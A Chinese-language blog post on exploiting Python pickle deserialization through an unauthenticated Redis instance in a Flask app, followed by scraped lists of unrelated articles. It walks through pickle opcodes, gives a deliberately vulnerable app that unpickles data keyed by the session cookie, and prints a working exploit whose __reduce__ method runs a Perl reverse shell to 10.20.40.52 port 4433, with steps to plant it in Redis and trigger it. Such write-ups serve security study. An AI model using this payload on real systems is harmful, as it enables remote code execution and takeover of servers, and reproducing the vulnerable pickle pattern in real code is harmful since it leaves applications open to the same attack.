浅谈python反序列化漏洞
最近看到p神一篇讲python反序列化的文章,结合redis未授权访问组合漏洞,感觉在flask和redis的构架中比较常见,便记录下来。
p神原文:https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html
漏洞原理:
python序列化会通过pickle的dumps和loads来进行序列化和反序列化

其中序列化后的值为

对应的格式如下:
c:读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中。
(:将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组。
t:从堆栈中弹出对象,直到一个“(”被弹出,并创建一个包含弹出对象(除了“(”)的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中。
S:读取引号中的字符串直到换行符处,然后将它压入堆栈。
R:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。
.:结束pickle。
漏洞复现:
前提搭建一个web服务器,需要一个flask+redis的web服务。
代码如下
import redis
from flask import Flask,request,session
import pickle
import random
app = Flask(__name__) class Redis:
@staticmethod
def connect():
r = redis.StrictRedis(host='localhost', port=6379, db=0)
return r @staticmethod
def set_data(r,key,data,ex=None):
r.set(key,pickle.dumps(data),ex) @staticmethod
def get_data(r,key):
data = r.get(key)
if data is None:
return None
return pickle.loads(data) def getrand():
str='abcdefghijklnmopqrstuvwxyz1234567890'
count = ''
for i in range(10):
index = random.randint(0,35)
count += str[index]
return count @app.route('/',methods=['GET'])
def hello_world():
str = request.args.get('str')
r = Redis.connect()
rand = getrand()
Redis.set_data(r,rand,str)
return rand+':'+str @app.route('/getcookie')
def get_cookie():
cookie = request.cookies.get('session')
r = Redis.connect()
data = Redis.get_data(r,cookie)
return 'your data:'+data if __name__ == '__main__':
app.run()
index.py
程序大概过程是访问 / 目录会往redis中插入一条str变量,key值是伪随机生成的
然后访问/getcookie会访问cookie中的session的值带入redis查询并反序列化


可以构造payload如下
#!/usr/bin/env python
#
import cPickle
import os
import redis class exp(object):
def __reduce__(self):
s = """perl -e 'use Socket;$i="10.20.40.52";$p=4433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'"""
return (os.system, (s,)) e = exp()
s = cPickle.dumps(e) r = redis.Redis(host='127.0.0.1', port=6379, db=0)
r.set("e6c36e69a9c", s)
payload会往redis中插入一条e6c36e69a9c的key值

然后在/getcookie中设置cookie访问,并监听服务器上的4433端口

get!!!
浅谈python反序列化漏洞的更多相关文章
- 通过JBoss反序列化(CVE-2017-12149)浅谈Java反序列化漏洞
前段时间学校学习J2EE,用到了jboss,顺便看了下jboss的反序列化,再浅谈下反序列化漏洞. Java序列化,简而言之就是把java对象转化为字节序列的过程.而反序列话则是再把字节序列恢复为ja ...
- 浅谈PHP反序列化漏洞原理
序列化与反序列化 序列化用途:方便于对象在网络中的传输和存储 0x01 php反序列化漏洞 在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等. 常见的序列化格式: ...
- 浅谈php反序列化漏洞
关于php的反序列化漏洞要先说到序列化和反序列化的两个函数,即: serialize() 和unserialize(). 简单的理解: 序列化就是将一个对象变成字符串 反序列化是将字符串恢复成对象 这 ...
- 浅谈Python时间模块
浅谈Python时间模块 今天简单总结了一下Python处理时间和日期方面的模块,主要就是datetime.time.calendar三个模块的使用.希望这篇文章对于学习Python的朋友们有所帮助 ...
- 浅谈Python在信息学竞赛中的运用及Python的基本用法
浅谈Python在信息学竞赛中的运用及Python的基本用法 前言 众所周知,Python是一种非常实用的语言.但是由于其运算时的低效和解释型编译,在信息学竞赛中并不用于完成算法程序.但正如LRJ在& ...
- 浅谈python字符串存储形式
http://blog.csdn.net/zhonghuan1992 钟桓 2014年8月31日 浅谈python字符串存储形式 记录一下自己今的天发现疑问而且给出自己现有知识有的回答. 长话短说,用 ...
- 开发技术--浅谈Python函数
开发|浅谈Python函数 函数在实际使用中有很多不一样的小九九,我将从最基础的函数内容,延伸出函数的高级用法.此文非科普片~~ 前言 目前所有的文章思想格式都是:知识+情感. 知识:对于所有的知识点 ...
- 开发技术--浅谈python数据类型
开发|浅谈python数据类型 在回顾Python基础的时候,遇到最大的问题就是内容很多,而我的目的是回顾自己之前学习的内容,进行相应的总结,所以我就不玩基础了,很多在我实际生活中使用的东西,我会在文 ...
- 开发技术--浅谈python基础知识
开发|浅谈python基础知识 最近复习一些基础内容,故将Python的基础进行了总结.注意:这篇文章只列出来我觉得重点,并且需要记忆的知识. 前言 目前所有的文章思想格式都是:知识+情感. 知识:对 ...
随机推荐
- 建立自己的键盘栈(shortcutkeyStack)
建立自己的键盘栈(shortcutkeyStack) 作为一名开发者, 快捷键是必不可少的, 并且各种开发工具都有提供快捷键. 但是各种工具(IDE,编辑器)因为历史或者其他不可抗原因(比如键盘的布局 ...
- 贪心算法训练(九)——Best Cow Line(字典序最小问题)
原题链接:Best Cow Line 1. 问题描述 2. 输入 6 A C D B C B 3. 输出 ABCBCD 4.思路分析 不断地取原字符串 S 中开头和末尾比较小的字符串放到 T 的末尾 ...
- ssm 项目记录用户操作日志和异常日志
借助网上参考的内容,写出自己记录操作日志的心得!! 我用的是ssm项目使用aop记录日志:这里用到了aop的切点 和 自定义注解方式: 1.建好数据表: 数据库记录的字段有: 日志id .操作人.操作 ...
- 第10组 Alpha冲刺(2/6)
链接部分 队名:女生都队 组长博客: 博客链接 作业博客:博客链接 小组内容 恩泽(组长) 过去两天完成了哪些任务 描述 了解了如何根据系统获取的实际情况进行后端任务的调整 网易云音乐推荐算法的分析 ...
- 雪花ID实现新增数据同步
雪花ID实现新增数据同步 GUID生成的ID,可以确保是唯一ID,但却是无序的,不适合用于数据同步. 雪花算法生成的ID(INT64)能够按照时间有序(升序)生成.只要电脑上的时间是正确的,新增的记录 ...
- NumPyArray
import arcpy import numpy # Create a simple array from scratch using random values myArray = numpy.r ...
- Python Django使用HttpResponse返回图片并显示
views.py def read_img(request): """ : 读取图片 :param request: :return: """ ...
- Mosquitto配置----日志设置
https://blog.csdn.net/u012377333/article/details/71101725 # ======================================== ...
- flutter Switch组件 On/off 用于切换一个单一状态
import 'package:flutter/material.dart'; class SwitchDemo extends StatefulWidget { @override _SwitchD ...
- Python适配器模式代码
Python设计模式之适配器模式,代码,思考等 # -*- coding: utf-8 -*- # author:baoshan class Computer: def __init__(self, ...